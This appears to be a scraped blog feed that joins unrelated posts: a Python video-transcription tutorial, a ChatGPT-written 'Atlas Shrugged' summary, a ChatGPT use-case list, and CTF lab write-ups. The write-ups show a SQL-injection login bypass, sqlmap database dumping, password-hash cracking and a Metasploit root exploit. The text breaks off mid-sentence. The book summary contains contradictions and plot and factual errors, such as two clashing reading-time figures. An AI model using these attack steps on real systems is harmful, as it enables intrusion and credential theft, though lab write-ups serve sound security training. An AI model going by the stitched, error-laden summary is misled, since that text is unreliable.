A good friend and his wife recently founded an AI startup in the lifestyle niche that uses machine learning to discover specific real-world patterns from videos.
For their business system, they need a pipeline that takes a video file, converts it to audio, and transcribes the audio to standard text that is then used for further processing. I couldn’t help but work on a basic solution to help fix their business problem.
Project Overview
I finished the project in three steps:
First, install the necessary libraries.
Second, convert the video to an audio file (.mp4 to .wav)
Third, convert the audio file to a speech file (.wav to .txt). We first break the large audio file into smaller chunks and convert each of them separately due to the size restrictions of the used API.
Let’s get started!
Step 1: Install Libraries
We need the following import statements in our code:
# Import libraries
import speech_recognition as sr
import os
from pydub import AudioSegment
from pydub.silence import split_on_silence
import moviepy.editor as mp
Consequently, you need to pip install the following three libraries in your shell — assuming you run Python version 3.9:
Before you can do speech recognition on the video, we need to extract the audio as a .wav file using the moviepy.editor.VideoFileClip().audio.write_audiofile() method.
Here’s the code:
def video_to_audio(in_path, out_path): """Convert video file to audio file""" video = mp.VideoFileClip(in_path) video.audio.write_audiofile(out_path)
After extracting the audio file, we can start transcribing the speech from the .wav file using Google’s powerful speech recognition library on chunks of the potentially large audio file.
Using chunks instead of passing the whole audio file avoids an error for large audio files — Google has some restrictions on the audio file size.
However, you can play around with the splitting thresholds of 700ms silence—it can be more or less, depending on your concrete file.
Here’s the audio to text code function that worked for me:
def large_audio_to_text(path): """Split audio into chunks and apply speech recognition""" # Open audio file with pydub sound = AudioSegment.from_wav(path) # Split audio where silence is 700ms or greater and get chunks chunks = split_on_silence(sound, min_silence_len=700, silence_thresh=sound.dBFS-14, keep_silence=700) # Create folder to store audio chunks folder_name = "audio-chunks" if not os.path.isdir(folder_name): os.mkdir(folder_name) whole_text = "" # Process each chunk for i, audio_chunk in enumerate(chunks, start=1): # Export chunk and save in folder chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") audio_chunk.export(chunk_filename, format="wav") # Recognize chunk with sr.AudioFile(chunk_filename) as source: audio_listened = r.record(source) # Convert to text try: text = r.recognize_google(audio_listened) except sr.UnknownValueError as e: print("Error:", str(e)) else: text = f"{text.capitalize()}. " print(chunk_filename, ":", text) whole_text += text # Return text for all chunks return whole_text
Need more info? Check out the following deep dive:
Finally, we can combine our functions. First, we extract the audio from the video. Second, we chunk the audio into smaller files and recognize speech independently on each chunk using Google’s speech recognition module.
I added comments to annotate the most important parts of this code:
# Import libraries
import speech_recognition as sr
import os
from pydub import AudioSegment
from pydub.silence import split_on_silence
import moviepy.editor as mp def video_to_audio(in_path, out_path): """Convert video file to audio file""" video = mp.VideoFileClip(in_path) video.audio.write_audiofile(out_path) def large_audio_to_text(path): """Split audio into chunks and apply speech recognition""" # Open audio file with pydub sound = AudioSegment.from_wav(path) # Split audio where silence is 700ms or greater and get chunks chunks = split_on_silence(sound, min_silence_len=700, silence_thresh=sound.dBFS-14, keep_silence=700) # Create folder to store audio chunks folder_name = "audio-chunks" if not os.path.isdir(folder_name): os.mkdir(folder_name) whole_text = "" # Process each chunk for i, audio_chunk in enumerate(chunks, start=1): # Export chunk and save in folder chunk_filename = os.path.join(folder_name, f"chunk{i}.wav") audio_chunk.export(chunk_filename, format="wav") # Recognize chunk with sr.AudioFile(chunk_filename) as source: audio_listened = r.record(source) # Convert to text try: text = r.recognize_google(audio_listened) except sr.UnknownValueError as e: print("Error:", str(e)) else: text = f"{text.capitalize()}. " print(chunk_filename, ":", text) whole_text += text # Return text for all chunks return whole_text # Create a speech recognition object
r = sr.Recognizer() # Video to audio to text
video_to_audio('sample_video.mp4', 'sample_audio.wav')
result = large_audio_to_text('sample_audio.wav') # Print to shell and file
print(result)
print(result, file=open('result.txt', 'w'))
Store this code in a folder next to your video file 'sample_video.mp4' and run it. It will create an audio file 'sample_audio.wav' and chunk the audio and print the result to the shell, as well as to a file called 'result.txt'. This contains the transcription of the video file.
A good friend and his wife recently founded an AI startup in the lifestyle niche that uses machine learning to discover specific real-world patterns from videos.
For their business system, they need a pipeline that takes a video file, converts it to audio, and transcribes the audio to standard text that is then used for further processing. I couldn’t help but work on a basic solution to help fix their business problem.
In this short project tutorial, I’ll share my code solution to convert a video to audio, i.e., extracting a .wav file from a .mp4 file.
Given:.mp4 video file Required:.wav audio file
Use Python to accomplish this programmatically!
Mini Project Solution – Video to Audio in Python
You can convert a video file to an audio file as follows. First, create a function that takes the location of your input video file as the in_path parameter and the location of your output audio file as the out_path parameter. Second, install and import the moviepy library to read the video file and write out the audio file in the .wav format.
import moviepy.editor as mp def video_to_audio(in_path, out_path): """Convert video file to audio file""" video = mp.VideoFileClip(in_path) video.audio.write_audiofile(out_path) # Video to audio
video_to_audio('sample_video.mp4', 'sample_audio.wav')
Before this code runs without error, you first need to pip install moviepy in your environment. For instance, if you run Python 3.10, you’d probably have to run pip3.10 install moviepy. More here:
Using Python, you can convert a video file to an audio file by using the subprocess library. First, store the location of the input video file in the in_path variable, and the location of the output audio file in the out_path variable. Then, call the subprocess.run() method with the command line parameters to convert the video file to an audio file. The output audio file will be in the .wav format.
In this quick article, I’ll show you my deep dive into the book “Atlas Shrugged” by Ayn Rand. This is useful if you don’t want to spend 20-25 hours reading the ~1,200 pages but you still want to be able to grasp the main ideas.
I used OpenAI’s ChatGPT to explore the main ideas — I asked the questions and OpenAI provided the answers. I edited some answers for clarity and correctness.
So, let’s get started!
A Quick Summary of the Book “Atlas Shrugged” by Ayn Rand
“Atlas Shrugged” is a novel by Ayn Rand, published in 1957.
It is a story about a group of industrialists who go on strike against a society that they believe is oppressive and unjust.
The novel centers around the character of John Galt, who is the leader of the strike and a symbol of the virtues of individualism and self-reliance.
The novel is also a critique of socialism and a defense of capitalism, arguing that pursuing individual happiness and self-interest is the only way to achieve a just and prosperous society.
Overall, the book is a philosophical and political commentary, and it is considered to be Rand’s magnum opus.
What Are The Main Ideas of the Book?
Individualism
The main points of “Atlas Shrugged” by Ayn Rand are:
The novel is a critique of socialism and a defense of capitalism, which argues that the pursuit of individual happiness and self-interest is the only way to achieve a just and prosperous society.
The story centers around a group of industrialists who go on strike against a society that they believe is oppressive and unjust.
The novel is a philosophical and political commentary, and it is considered to be Rand’s magnum opus.
The novel features a hero, John Galt, who is the leader of the strike and a symbol of the virtues of individualism and self-reliance.
The novel explores themes of reason, individualism, self-interest, and the role of the individual in society.
The novel also critiques the idea of “the common good” and argues that the collective cannot be the standard by which to measure the individual’s good.
How Does It Critique the “Common Good”?
In “Atlas Shrugged,” Ayn Rand critiques the idea of “the common good” by arguing that it is a collectivist concept that is used to justify the oppression of individuals by the state.
She argues that when society defines the “common good” as the standard by which to measure the actions and decisions of individuals, it leads to a loss of individual freedom and the sacrifice of individual rights for the sake of the group.
The novel presents the idea that the “common good” is often used as a pretext for the government to control and regulate the economy and for individuals to sacrifice their own self-interest for the sake of the group.
Rand argues that this leads to a society where the most productive and successful individuals are punished and held back, while those who are less productive are rewarded.
In the novel, Rand also critiques the idea of “the common good” as being a vague, undefined, and shifting concept that can be manipulated to justify anything, leading to the loss of individual rights and freedoms.
Therefore, Rand presents the idea that the individual’s own happiness and self-interest should be the standard by which to measure their actions, rather than a collective concept like “the common good”.
Who Is John Galt?
John Galt is a central character in Ayn Rand’s novel “Atlas Shrugged.” He is the leader of a strike of industrialists who withdraw their talents and abilities from society in protest against a government that they believe is oppressive and unjust. John Galt is a symbol of the virtues of individualism and self-reliance, and his strike is meant to be a demonstration of the importance of these values.
Throughout the novel, John Galt is portrayed as a highly intelligent, rational, and independent individual who is deeply committed to his principles. He is also depicted as a charismatic and persuasive leader who can convince other successful industrialists to join him in his strike.
John Galt’s strike is meant to demonstrate the idea that the most productive and successful individuals in society are necessary for its prosperity and that without them, society will collapse. In this way, John Galt is intended to symbolize the importance of individualism, self-reliance, and the pursuit of one’s own happiness and self-interest.
In the final part of the novel, John Galt delivers a long speech in which he explains the philosophy behind his strike and the principles of Objectivism, Rand’s own philosophy, which is based on reason, individualism, self-interest, and the rejection of the idea of “the common good” and other collectivist concepts.
John Galt’s Speech – Main Points
The final speech of John Galt in “Atlas Shrugged” is a long and elaborate monologue that is meant to explain the philosophy behind the strike of the industrialists and the principles of Objectivism, which is Ayn Rand’s own philosophy. The speech is often considered to be the climax of the novel and one of the most important parts of the book.
In the speech, John Galt explains that the strike of the industrialists is a protest against a society that is based on the idea of “the common good” and collectivism, which he argues is the root of all the problems in the world. He argues that collectivism leads to the oppression of individuals by the state, the sacrifice of individual rights for the sake of the group, and the stifling of human progress and prosperity.
He explains that the industrialists who joined him in the strike represent the most productive and successful individuals in society and that they are necessary for society’s prosperity. He argues that the government’s attempts to control and regulate the economy and to redistribute wealth, leads to the destruction of the economy and to the collapse of society.
John Galt also explains that the only way to achieve a just and prosperous society is for individuals to be free to pursue their own happiness and self-interest without interference from the state. He argues that this requires a society based on reason, individualism, self-reliance, and the rejection of the idea of “the common good” and other collectivist concepts.
He also explains that the only way to achieve this kind of society is for individuals to assert their own values and live according to their own principles rather than sacrifice themselves for the sake of others. He states that the individual’s own happiness and self-interest should be the standard by which to measure their actions rather than a collective concept like “the common good”.
In short, the final speech is a summary of Rand’s philosophy of Objectivism and a call to action for individuals to reject collectivist ideas and embrace individualism, self-reliance, and reason as the way to achieve a just and prosperous society.
What Is Objectivism?
“Objectivism” is the name given to Ayn Rand’s philosophy, which is the foundation for her novels and her ideas. The term “Objectivism” is derived from the idea of “objectivity,” which refers to the concept that reality is objective and independent of human consciousness and that it can be perceived and understood through reason and observation.
The term “Objectivism” was coined by Rand to describe her philosophy, which she developed over many years and presented in her novels and non-fiction works.
Objectivism is a philosophy that emphasizes the importance of reason, individualism, self-interest, and the rejection of the idea of “the common good” and other collectivist concepts. It also emphasizes the importance of the individual’s own happiness and self-interest as the standard by which to measure their actions, rather than a collective concept like “the common good”.
It’s worth noting that Rand’s Objectivism is not an existing philosophy before her, but it’s her own creation. She draws influences from different philosophical concepts such as Aristotelianism, classical liberalism, and individualism of the American Founding Fathers and others, but she developed it as a unique philosophy that differs from any other philosophies in many aspects.
Is There Merit to Objectivism?
Objectivism, as formulated by Ayn Rand, is a philosophy that emphasizes the importance of reason, individualism, self-interest, and the rejection of the idea of “the common good” and other collectivist concepts.
It also emphasizes the importance of the individual’s own happiness and self-interest as the standard by which to measure their actions, rather than a collective concept like “the common good”.
Objectivism has been the subject of much debate and has both supporters and critics. Some people believe that there is merit to the philosophy, and that it provides a valuable perspective on the importance of individualism, self-reliance, and the rejection of collectivism. They argue that Rand’s emphasis on reason and individualism can be seen as a defense of individual freedom and the value of human life.
On the other hand, many critics argue that Objectivism is overly individualistic and ignores the importance of community and society. They argue that Rand’s emphasis on self-interest can lead to a disregard for the well-being of others and that her rejection of the idea of “the common good” is unrealistic and ignores the fact that people often rely on each other and society for their survival and well-being.
It’s important to note that Objectivism as a philosophy is not without its critics and has been criticized for its lack of attention to important issues such as poverty, inequality, and the role of government in addressing these issues. Additionally, some critics argue that Rand’s emphasis on self-interest can lead to a disregard for the well-being of others and that her rejection of the idea of “the common good” is unrealistic and ignores the fact that people often rely on each other and society for their survival and well-being.
Overall, whether there is merit to Objectivism depends on one’s perspective and values. It’s important to approach any philosophy with a critical mindset, and evaluate its ideas based on reason and evidence.
Does Self Interest Lead to Greater Common Good?
In Objectivism, Ayn Rand argues that pursuing individual happiness and self-interest is the only way to achieve a just and prosperous society. The theory states that when individuals are free to pursue their own self-interest, they will also be creating value for others and contributing to the prosperity of society.
According to Rand, the market economy is the best way to achieve this, as it allows individuals to exchange goods and services in a voluntary and mutually beneficial way.
This perspective implies that by allowing individuals to pursue their own self-interest, the “common good” will also be optimized. The idea is that when individuals are free to act in their own self-interest, they will create value for themselves and for others, and that this value creation will lead to a more prosperous and just society.
However, it’s worth noting that the relationship between the “common good” and self-interest is not always straightforward.
Some critics argue that the idea that self-interest will lead to the optimization of the “common good” is unrealistic and ignores the fact that people often rely on each other and society for their survival and well-being, and that some individuals will not have the same level of resources to pursue their own self-interest.
Additionally, it’s important to remember that the idea of “common good” and its definition can be controversial and debated, and what may be considered as “common good” to some people may not be for others.
In conclusion, the relationship between the “common good” and self-interest is complex and depends on multiple factors, and the idea that self-interest will lead to the optimization of the “common good” is not a universally accepted idea.
The Story
“Atlas Shrugged” is a novel by Ayn Rand, published in 1957. The story is set in a dystopian future where the United States is in a state of economic collapse. The story centers around a group of industrialists who go on strike against a society that they believe is oppressive and unjust. The industrialists are led by John Galt, who is the main protagonist of the story.
The novel starts with introducing the main characters and the setting, where the government is increasing regulations on the economy and businesses, and the country is experiencing an economic crisis. This leads to a decrease in productivity and an increase in unemployment.
As the story progresses, the industrialists begin to disappear one by one, leaving behind a note that says, “I swear by my life and my love of it that I will never live for the sake of another man, nor ask another man to live for mine.”
The disappearance of the industrialists causes more economic problems, and the government tries to find a way to bring them back.
The government then created a new agency called the State Science Institute, which was supposed to solve the economic crisis and bring the industrialists back. But the institute only worsens things, and the country becomes more and more oppressive.
As the story unfolds, it is revealed that the industrialists have gone on strike and are hiding in a secret valley where they have created a new society based on individualism and self-reliance. John Galt, the leader of the strike, is the one who has persuaded them to join him. The government and society’s attempts to bring them back fail, and society starts to collapse.
The novel’s climax is when John Galt gives a radio address, where he explains the philosophy behind the strike and the principles of Objectivism, which is Ayn Rand’s own philosophy.
He explains that the strike is a protest against a society that is based on the idea of “the common good” and collectivism, which he argues is the root of all the problems in the world. He argues that collectivism leads to the oppression of individuals by the state, the sacrifice of individual rights for the sake of the group, and the stifling of human progress and prosperity.
He also explains that the only way to achieve a just and prosperous society is for individuals to be free to pursue their own happiness and self-interest without interference from the state.
The novel ends with society collapsing and the industrialists returning to society, bringing new energy and ideas to rebuild the country.
In summary, in “Atlas Shrugged” the industrialists are rebelling against a society that they believe is oppressive and unjust, specifically against the government’s increasing regulations on the economy and businesses that lead to the country’s economic collapse. They are led by John Galt, who is the leader of the strike and a symbol of the virtues of individualism and self-reliance. The novel is a philosophical and political commentary, it critiques socialism and defends capitalism, and it argues that the pursuit of individual happiness and self-interest is the only way to achieve a just and prosperous society.
What is the “Atlas Society”?
The “Atlas Society” is an organization that was founded in 1985 as an institution for the promotion of the philosophy of Objectivism, as developed by Ayn Rand. The organization is not directly connected with Ayn Rand or her estate, but it is influenced by her ideas.
The organization’s mission is to promote Objectivism, which is a philosophy that emphasizes the importance of reason, individualism, self-interest, and the rejection of the idea of “the common good” and other collectivist concepts. It also emphasizes the importance of the individual’s own happiness and self-interest as the standard by which to measure their actions, rather than a collective concept like “the common good”.
The Atlas Society is a think tank that provides resources and programs to educate people about Objectivism and encourages the study and application of Rand’s ideas. They offer a variety of educational programs, lectures, conferences, and other events, and they have a strong online presence, with a website that includes articles, videos, and other resources about Objectivism.
The organization also publishes a quarterly magazine, “The New Individualist,” which features articles on politics, culture, and the ideas of Objectivism, and the organization also maintains a library of Rand’s work, audio and video lectures and interviews, and other resources.
The organization is not-for-profit and relies on donations from individuals and foundations to fund its work. It aims to promote Rand’s ideas to a wider audience and to encourage the growth of a community of people who share the same values and principles as Objectivism.
Key Points to Survive in a Group of Objectivists Without Reading the Book?
If you want to spend an evening with members of the Atlas Society and engage in a discussion about the ideas and concepts from the book “Atlas Shrugged,” it would be helpful to have a general understanding of the following points:
The central theme of the book: The novel is a critique of socialism and a defense of capitalism, which argues that the pursuit of individual happiness and self-interest is the only way to achieve a just and prosperous society.
The story’s setting: The story is set in a dystopian future where the United States is in a state of economic collapse and the government is increasing regulations on the economy and businesses.
The strike of the industrialists: The industrialists go on strike against a society that they believe is oppressive and unjust. They are led by John Galt, who is the leader of the strike and a symbol of the virtues of individualism and self-reliance.
The philosophy of Objectivism: The novel presents Ayn Rand’s own philosophy of Objectivism which emphasizes the importance of reason, individualism, self-interest, and the rejection of the idea of “the common good” and other collectivist concepts.
The final speech of John Galt: In the final part of the novel, John Galt delivers a long speech which is meant to explain the philosophy behind the strike and the principles of Objectivism. It is considered the climax of the novel, and it is important to have an understanding of the main points of this speech.
The novel’s conclusion: The novel ends with the society collapsing and the industrialists returning to society, bringing new energy and ideas to rebuild the country.
It’s also worth noting that Objectivism as a philosophy, like any other, has both supporters and critics.
It’s good to be open-minded and willing to listen to different perspectives and engage in discussions with the members of society.
What Books Are Opposed to Ideas in Atlas Shrugged?
“Atlas Shrugged” is a novel by Ayn Rand that presents her philosophy of Objectivism, which emphasizes the importance of reason, individualism, self-interest, and the rejection of the idea of “the common good” and other collectivist concepts. Some books that present ideas that are completely opposed to the ideas presented in this book are:
“The Communist Manifesto” by Karl Marx and Friedrich Engels: This book presents the idea of communism, which is a political and economic theory that advocates for the abolition of private ownership and the creation of a classless society where the means of production are owned and controlled by the community as a whole. This is in direct opposition to Rand’s belief in the importance of individualism and the rejection of collectivism.
“The Road to Serfdom” by Friedrich Hayek: This book presents the idea that socialism leads to totalitarianism, which is in opposition to Rand’s belief that socialism is a destructive and oppressive system.
“The Wealth of Nations” by Adam Smith: This book is considered as one of the first modern works of economics and presents the idea that the market economy is the best way to achieve a just and prosperous society, it’s also a critique of mercantilism, which is a system of economic policy that was prevalent in the 18th century. This is in line with Rand’s belief in the importance of the market economy, but it’s important to note that Adam Smith’s ideas about the market economy are not as extreme as Rand’s ideas.
“The General Theory of Employment, Interest, and Money” by John Maynard Keynes: This book presents the idea that government intervention in the economy can be necessary to stabilize economic growth and combat unemployment, which is in opposition to
A Poem On “Atlas Shrugged”
Atlas Shrugged, the weight of the world
On his shoulders, he's tired and curled
But still he stands, with head held high
Fighting for freedom, against the lies. The strike of the industrials
Against a society, so superficial
John Galt leads them, with a purpose true
For a just and prosperous, anew Objectivism, the philosophy
Of reason, self-interest and liberty
The pursuit of happiness, the ultimate goal
A society, where the individual is whole.
Book Number of Pages
“Atlas Shrugged” is considered a long novel with 1,168 pages in its standard paperback edition.
The length of the novel can be a challenge for some readers, but it is also considered a classic of 20th-century literature, and many people find it to be an engaging and thought-provoking read.
The novel is a philosophical and political commentary, it critiques socialism and defends capitalism, and it argues that the pursuit of individual happiness and self-interest is the only way to achieve a just and prosperous society.
How Long Does an Average Reader Need to Read the Whole Book?
The length of time it takes to read “Atlas Shrugged” can vary depending on the individual reader’s reading speed and schedule.
However, as an average reader, it would take about 20 to 25 hours to read the whole book. The book has 1,168 pages, and if you read around 250-300 words per minute, it would take you around 12-15 hours.
However, it’s important to consider that you may want to spend some time reflecting on the ideas presented in the book, and this will add some time to the reading. Additionally, if you read at a slower pace or have less time to devote to reading, it might take you longer to finish the book.
It’s worth noting that the book is not an easy read, it is a philosophical and political commentary that critiques socialism and defends capitalism, and it presents a complex and comprehensive system of ideas, so it requires a certain level of focus and attention.
Ultimately, the most important thing is to enjoy the reading experience and not rush through the book. It’s better to take your time, read at a comfortable pace, and reflect on the ideas that are presented rather than trying to rush through it.
Personal Note: Overall, I’m super impressed — it has been an awesome experience to learn the book’s main ideas using OpenAI rather than reading through the whole book!
I asked the Finxter community of >150,000 coders how they used ChatGPT to create value in their own lives. I compiled all replies in this epic list of ideas. Of course, I used ChatGPT to help me summarize the main ideas I received from Finxters worldwide.
If you haven’t already, join 150,000 Finxters in our free email academy with a focus on practical coding projects.
Together, these ideas can easily increase your productivity (measured as results per effort invested) by a factor of 10x or more!
Here’s the real-world usage list of ChatGPT in no particular order:
Idea #1 – Solve Programming Assignments
Students use ChatGPT to solve programming assignments in Python, copy codes, and enhance their coding skills.
You can use ChatGPT to get help with your programming assignments! Just ask it questions about what you need to do and it’ll provide answers and guidance.
Plus, it’ll give you hints and tips to make the assignment easier to understand and it can even suggest code snippets to help you finish it.
Idea #2 – Create Content
Writers use ChatGPT to write a book summary, create content, and generate titles.
You can use ChatGPT to generate content quickly and easily! Just enter a prompt, such as a topic or starting sentence, and let ChatGPT do the rest.
You can fine-tune the content by adding additional prompts and refining the output. Create engaging content about the latest trends in technology, the benefits of using certain technologies, or any other topic you can think of.
Get your creative juices flowing and let ChatGPT do the hard work for you!
Idea #3 – Prepare Professional Presentations
Data analysts use ChatGPT to prepare presentations and simplify complex concepts.
You can use ChatGPT to create professional presentations that draw your audience in!
It’ll help you develop slide topics, keywords, phrases, and visuals that will make the content more engaging. Plus, it will give you guidance on how to structure the presentation and organize the information for maximum impact.
Personal Note: This idea from one of our Finxter students’ replies (as she was sitting on a train to her presentation) was one of my favorite ideas on this list!
Idea #4 – Create Android Apps
Developers use ChatGPT to make their own android apps
Create your own Android app without a ton of coding or design skills using ChatGPT!
It is now much easier for you to build an app. You still need coding skills to assemble all the code produced by ChatGPT and combine it into a bigger whole.
But the app will be much more powerful and you can build it much quicker with ChatGPT!
Idea #5 – Create and Polish CV
Job seekers use ChatGPT to prepare their CV
You can use Chatgpt to polish and create a winning CV!
Just provide it with some information about your professional background and experience, and it will generate a CV tailored to your needs. The resulting CV will include all the necessary information in a well-formatted, professional layout.
Make the best impression when applying for a job – let Chatgpt help you create a winning CV!
You can create engaging courses, quizzes, and other content in no time with ChatGPT. Its natural language processing takes your data and quickly builds the content you need.
This one is, kind of, obvious and everybody is doing it these days. Personally, I think it’s not the best use of ChatGPT because there is just too much competition here.
Idea #7 – Use Like Pair Programmer
Coders use ChatGPT as a more knowledgeable pair programmer
ChatGPT can be used as a pair programmer by allowing two people to work together on a project. Each person can use the chatbot to ask questions, discuss ideas, and provide feedback.
ChatGPT can also be used to develop code collaboratively, by having one user type in code and the other user providing feedback. This way, two people can work together on a project more efficiently and quickly.
Idea #8 – Generate Creative Ideas
People use ChatGPT as a quick second opinion to gain more insights and creative solutions to a given problem or question.
ChatGPT enables users to generate creative ideas and solutions. To use it, all you need to do is enter a prompt, such as a problem or question, and ChatGPT will generate a sheer infinite number of potential solutions.
The generated ideas and solutions are often creative and unexpected. ChatGPT is a great tool for brainstorming, idea generation, and problem solving, and it can help you come up with new and innovative solutions.
Idea #9 – Find Catchy Domain Names
Startup founders use ChatGPT to search for unique domain names.
ChatGPT is a great tool for finding catchy domain names for a startup.
All you have to do is enter some keywords related to the startup, such as its industry and the product or service it offers, and ChatGPT will generate catchy domain name ideas.
You can also use the chatbot feature to get more personalized domain name suggestions. With ChatGPT, you can find a perfect domain name for your startup quickly and easily.
Idea #10 – Outsource Research and Personal Assistant
Most people use ChatGPT as a personal assistant.
ChatGPT can be used to outsource research and personal assistant tasks. It is not perfect at research and personal assistance yet — but you can be sure it’ll get there pretty soon!
Idea #11 – Learn by Talking to Authority
Many people use ChatGPT to learn by interacting with a knowledgeable authority.
ChatGPT is a great tool to help you learn by interacting with a knowledgeable authority.
By talking to an expert in the field, you can gain insight into more complex topics and ask questions to clarify any confusion you may have.
Use it to ask questions, get answers, and engage in meaningful dialogue to gain a better understanding of the subject matter.
Idea #12 – Generate Code and Algorithms
Software developers use ChatGPT to generate code snippets and create better algorithms.
ChatGPT is a powerful tool that can be used to generate code and algorithms. To use it, simply type in a description of what you want the algorithm to do, and ChatGPT will generate the code for you, which you can then use in your project.
Idea #13 – Automate Customer Service
Business owners use ChatGPT to automate customer service and build better websites.
ChatGPT can help with customer service tasks, such as answering customer inquiries, assisting with account setup and product registration, processing orders and returns, providing technical support, resolving billing and payment issues, responding to customer feedback, recommending products and services, providing personalized product recommendations, upselling and cross-selling products, and connecting customers with online resources.
Idea #14 – Analyze Data
Data scientists use ChatGPT to analyze data more efficiently.
ChatGPT can be used to help with data analysis tasks, such as natural language processing, entity extraction, text summarization, and text classification.
It can be used to extract sentiment from large amounts of text data, as well as detect and extract entities from text data.
You can also use it to summarize large bodies of text data and classify text data into different categories.
Idea #15 – Build Better Machine Learning Models
Machine learning engineers use ChatGPT to develop and deploy models quickly.
Machine learning models are vital in myriads of applications.
These models are used for tasks such as object recognition in autonomous vehicles, facial recognition for security, automated customer service, movie recommendations, stock price prediction, and fraud detection.
Programmers create applications that closely integrate ChatGPT into their apps to provide previously impossible features.
OpenAI’s flexible API can be used to create automated writing assistance tools, natural language processing tools, autocomplete tools, text summarization tools, and image captioning tools.
Or whatever crazy app idea you have — cooking recipe generator, pocket lover, or personal digital puppy. All should work with the API!
The Art of Clean Code
Most software developers waste thousands of hours working with overly complex code. The eight core principles in The Art of Clean Coding will teach you how to write clear, maintainable code without compromising functionality. The book’s guiding principle is simplicity: reduce and simplify, then reinvest energy in the important parts to save you countless hours and ease the often onerous task of code maintenance.
Concentrate on the important stuff with the 80/20 principle — focus on the 20% of your code that matters most
Avoid coding in isolation: create a minimum viable product to get early feedback
Write code cleanly and simply to eliminate clutter
Avoid premature optimization that risks over-complicating code
Balance your goals, capacity, and feedback to achieve the productive state of Flow
Apply the Do One Thing Well philosophy to vastly improve functionality
Design efficient user interfaces with the Less is More principle
Tie your new skills together into one unifying principle: Focus
The Python-based The Art of Clean Coding is suitable for programmers at any level, with ideas presented in a language-agnostic manner.
Highlights: leveraging port forwarding to expose a webservice from behind a firewall, using sqlmap to find a username and hashed password
Tools used: sqlmap, nmap, dirb, burpsuite, hydra, john the ripper, metasploit
Tags: sqli, hashcracking, metasploit, ssh tunnel
BACKGROUND
In this Linux capture-the-flag (CTF) challenge we are tasked with hacking into a game review website’s server and finding a way to gain root privileges. Let’s go!
Let’s kick things off with our standard nmap and dirb scans. We’ll let these run while we go ahead and walk the website looking for interesting leads.
To find the character’s name on the main page, we can do a reverse image search on google. I’ve played this title before but forgot his name, so I just googled “hitman game character name” to find the answer to our first question. (agent 47)
NMAP SCAN RESULTS
DIRB SCAN RESULTS
WALK THE WEBSITE
We see a login portal on the landing page of our target IP. We also look at the /images folder that dirb found, but nothing remarkable is there at first glance.
Due to a lack of proper data sanitization, we discover that the login can be bypassed by entering the following username and leaving the password blank:
' or 1=1 -- -
The login trick works, and we are presented with a search box.
INITIAL FOOTHOLD – INTERCEPT A POST REQUEST WITH BURP
Let’s fire up burpsuite now to intercept an HTTP-post request made with this search box.
If you use burpsuite to capture the request, you can directly download it as a file. A word of caution: Using Firefox developer mode to intercept and save the request saved it double-spaced for some reason, and I suspect the formatting caused it to screw up the sqlmap command.
USING SQLMAP TO EXTRACT THE FULL DATABASE
With the following command, we can instruct sqlmap to attempt to download (dump) the entire database and search for login username and hashed password.
sqlmap -r req --dbms=mysql --dump --level 5
It worked! We see that the database stores a list of game titles and reviews.
The most interesting piece of information here is the password. It looks like a hashed password. We can use an online hash identifier program like hashes.com to find out the hash type.
We can see that it is probably a SHA256 encrypted string. Now it’s time to …
CRACK THAT HASH WITH JOHN (THE RIPPER)!
john hash.txt --wordlist=/home/kalisurfer/hacking-tools/rockyou.txt --format=Raw-SHA256
rockyou.txt is a legendary leaked database of passwords (14,344,391 passwords!)
Output:
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 512/512 AVX512BW 16x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
videogamer124 (?)
1g 0:00:00:00 DONE (2023-01-14 12:23) 1.449g/s 4369Kp/s 4369Kc/s 4369KC/s vimivera..tyler912
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed
This box requires a two-step process of port forwarding via ssh and then throwing a reverse meterpreter shell to a listener.
Let’s check for hidden services running on ports that may be behind a firewall. We can use the ss utility to check out all of the data connections from each port on our target machine.
agent47@gamezone:~$ ss -t -u -l -p -n
Output:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 *:10000 *:*
This first line is curious. It appears that a service is running on port 10000 of the target system.
Let’s go ahead and port forward to see what is lying behind the firewall. Port 10000 is typically used for server tools and configuration services.
SET UP PORT FORWARD WITH SSH
The following command will activate port forwarding via ssh:
ssh -L 10000:localhost:10000 agent47@10.10.151.64
password: —-cracked-password—-
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 109 packages can be updated.
68 updates are security updates. Last login: Sat Jan 14 18:21:17 2023 from 10.6.2.23
agent47@gamezone:~$
We are connected now with port forwarding in place. Let’s navigate in our browser to http://$targetIP:10000
After logging in with the same username:password combination we used with ssh, we are given access to a webmin portal.
PRIVESC WITH METASPLOIT
Searching for webmin in Metasploit brings up the following Metasploit module.
Let’s use it and set it up with the following options:
Let it rip!
run
And it connects us to a shell. We can use the following command to interact with the meterpreter on session 0.
sessions -i 0
And we now have our root flag! Thanks for reading this write-up.
Highlight: using metasploit to quickly and easily gain root access
Tools: nmap, dirb, hydra, burpsuite, msfvenom
Tags: RCE (remote code execution), Windows
BACKGROUND
In this box, we will hack into a windows machine using standard pen-testing tools. There are two options for solving the box.
I’ll demonstrate in this post how to hack into the box with metasploit. In the upcoming Hackpark Part II post, I’ll show how to find the flags without using metasploit.
ATTACK MAP
IPs
First, let’s record our IP addresses in export format to use as bash variables.
export myIP=10.6.2.23
export targetIP=10.10.72.99
ENUMERATION
We’ll kick things off with a dirb scan and an nmap scan.
/admin is discovered on targetIP with dirb. ┌─[kalisurfer@parrot]─[~]
└──╼ $nmap 10.10.208.243
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 16:03 EST
Nmap scan report for 10.10.208.243
Host is up (0.098s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
The ms-wbt-server looks interesting. A quick google search shows that this port is used for windows remote desktop. We may come back to this later on in the hack.
PREPPING OUR COMMAND FOR HYDRA
Next, we’ll use firefox in developer mode to inspect the POST request when we attempt to login to the /admin portal with generic credentials (admin:pass).
:Login failed (at the end of the command) specifies the message response after a failed login attempt
Results:
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-01-08 18:02:09
